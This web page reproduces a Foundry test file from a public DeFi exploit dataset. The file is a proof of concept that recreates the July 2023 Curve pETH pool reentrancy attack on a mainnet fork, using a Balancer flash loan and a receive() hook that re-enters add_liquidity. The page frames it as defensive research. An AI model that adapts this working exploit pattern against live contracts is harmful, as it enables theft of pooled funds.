Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Curve_exp01.sol

Public reproduction file for dataset entry Curve.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Curve_exp01.sol94 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~41M USD$
8// Attacker : https://etherscan.io/address/0x6ec21d1868743a44318c3c259a6d4953f9978538
9// Attack Contract : https://etherscan.io/address/0x466b85b49ec0c5c1eb402d5ea3c4b88864ea0f04
10// Vulnerable Contract : https://etherscan.io/address/0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e
11// Attack Tx : https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e#code
16// @Analysis
17// Post-mortem : https://hackmd.io/@LlamaRisk/BJzSKHNjn
18// Twitter Guy : https://twitter.com/vyperlang/status/1685692973051498497
20interface ICurve {
21 function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
23 function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
25 function remove_liquidity(uint256 token_amount, uint256[2] memory min_amounts) external;
28contract ContractTest is Test {
29 IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
30 IERC20 pETH = IERC20(0x836A808d4828586A69364065A1e064609F5078c7);
31 IERC20 LP = IERC20(0x9848482da3Ee3076165ce6497eDA906E66bB85C5);
32 ICurve CurvePool = ICurve(0x9848482da3Ee3076165ce6497eDA906E66bB85C5);
33 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
34 uint256 nonce;
36 function setUp() public {
37 vm.createSelectFork("mainnet", 17_806_055);
38 vm.label(address(WETH), "WETH");
39 vm.label(address(pETH), "pETH");
40 vm.label(address(CurvePool), "CurvePool");
41 vm.label(address(Balancer), "Balancer");
42 }
44 function testExploit() external {
45 deal(address(this), 0);
46 address[] memory tokens = new address[](1);
47 tokens[0] = address(WETH);
48 uint256[] memory amounts = new uint256[](1);
49 amounts[0] = 80_000 ether;
50 bytes memory userData = "";
51 Balancer.flashLoan(address(this), tokens, amounts, userData);
53 emit log_named_decimal_uint(
54 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
55 );
56 }
58 function receiveFlashLoan(
59 address[] memory tokens,
60 uint256[] memory amounts,
61 uint256[] memory feeAmounts,
62 bytes memory userData
63 ) external {
64 WETH.withdraw(WETH.balanceOf(address(this)));
65 uint256[2] memory amount;
66 amount[0] = 40_000 ether;
67 amount[1] = 0;
68 CurvePool.add_liquidity{value: 40_000 ether}(amount, 0);
70 amount[0] = 0;
71 CurvePool.remove_liquidity(LP.balanceOf(address(this)), amount); // reentrancy enter point
72 nonce++;
74 CurvePool.remove_liquidity(10_272 ether, amount);
76 WETH.deposit{value: address(this).balance}();
78 pETH.approve(address(CurvePool), pETH.balanceOf(address(this)));
79 CurvePool.exchange(1, 0, pETH.balanceOf(address(this)), 0);
81 WETH.deposit{value: address(this).balance}();
83 WETH.transfer(address(Balancer), 80_000 ether);
84 }
86 receive() external payable {
87 if (msg.sender == address(CurvePool) && nonce == 0) {
88 uint256[2] memory amount;
89 amount[0] = 40_000 ether;
90 amount[1] = 0;
91 CurvePool.add_liquidity{value: 40_000 ether}(amount, 0);
92 }
93 }

Analysis

Dataset entry

Public Foundry test for “Curve” (2023-07-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6ec21d1868743a44318c3c259a6d4953f9978538

  • Attack Contract

    0x466b85b49ec0c5c1eb402d5ea3c4b88864ea0f04

  • Vulnerable Contract

    0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e

  • Attack Tx

    0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c

File record

Name
Curve
Path
src/test/2023-07/Curve_exp01.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
56140fe50e2022d3a556733048e54b0234899a46
Language
Solidity
Size
95 lines
Date
2023-07-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Curve_exp01.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 56140fe50e2022d3a556733048e54b0234899a46, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.